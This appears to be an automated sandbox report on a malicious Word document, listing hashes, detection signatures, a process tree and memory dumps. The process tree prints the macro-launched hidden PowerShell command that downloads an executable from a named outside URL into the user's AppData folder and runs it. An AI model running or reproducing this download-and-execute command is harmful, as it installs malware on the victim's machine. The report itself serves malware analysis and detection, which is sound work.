Analysis

  • max time kernel
    101s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220718-en
  • resource tags

    arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
  • submitted
    25-07-2022 04:09

General

  • Target

    7e26e15cc181d3caec107bfd274e596064eef94dc11b3abde6738b53a0b6cd5b.doc

  • Size

    36KB

  • MD5

    441e1f32c93a73ea3dd3ad1951867dec

  • SHA1

    9daa0fedc53972fce95b11394b8a9ee368c59130

  • SHA256

    7e26e15cc181d3caec107bfd274e596064eef94dc11b3abde6738b53a0b6cd5b

  • SHA512

    53cde8fc0d98247f9601a812b2fc0943d745e3c6ad9a4dba77a8416d76e02562b2538760c64339df027551c61294f81275c573945e02d730b1cfe30b781be539

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://swanescranes.com.au/xuploads/Pi.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7e26e15cc181d3caec107bfd274e596064eef94dc11b3abde6738b53a0b6cd5b.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:944
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -noprofile If (test-path $env:APPDATA + '\erse.exe') {Remove-Item $env:APPDATA + '\erse.exe'}; $FKAOP = New-Object System.Net.WebClient; $FKAOP.Headers['User-Agent'] = 'FKAOP'; $FKAOP.DownloadFile('https://swanescranes.com.au/xuploads/Pi.exe', $env:APPDATA + '\erse.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\erse.exe'); Stop-Process -Id $Pid -Force
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1192
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2020

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/944-61-0x000000000082A000-0x000000000082E000-memory.dmp
      Filesize

      16KB

    • memory/944-73-0x0000000070EED000-0x0000000070EF8000-memory.dmp
      Filesize

      44KB

    • memory/944-54-0x0000000072481000-0x0000000072484000-memory.dmp
      Filesize

      12KB

    • memory/944-57-0x00000000753E1000-0x00000000753E3000-memory.dmp
      Filesize

      8KB

    • memory/944-58-0x0000000070EED000-0x0000000070EF8000-memory.dmp
      Filesize

      44KB

    • memory/944-59-0x000000000082A000-0x000000000082E000-memory.dmp
      Filesize

      16KB

    • memory/944-60-0x000000000082A000-0x000000000082E000-memory.dmp
      Filesize

      16KB

    • memory/944-62-0x000000000082A000-0x000000000082E000-memory.dmp
      Filesize

      16KB

    • memory/944-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/944-55-0x000000006FF01000-0x000000006FF03000-memory.dmp
      Filesize

      8KB

    • memory/944-64-0x000000000082A000-0x000000000082E000-memory.dmp
      Filesize

      16KB

    • memory/944-63-0x000000000082A000-0x000000000082E000-memory.dmp
      Filesize

      16KB

    • memory/944-72-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1192-68-0x0000000004C50000-0x00000000052A1000-memory.dmp
      Filesize

      6.3MB

    • memory/1192-69-0x000000006A850000-0x000000006ADFB000-memory.dmp
      Filesize

      5.7MB

    • memory/1192-67-0x000000006A850000-0x000000006ADFB000-memory.dmp
      Filesize

      5.7MB

    • memory/1192-65-0x0000000000000000-mapping.dmp
    • memory/2020-70-0x0000000000000000-mapping.dmp
    • memory/2020-71-0x000007FEFB991000-0x000007FEFB993000-memory.dmp
      Filesize

      8KB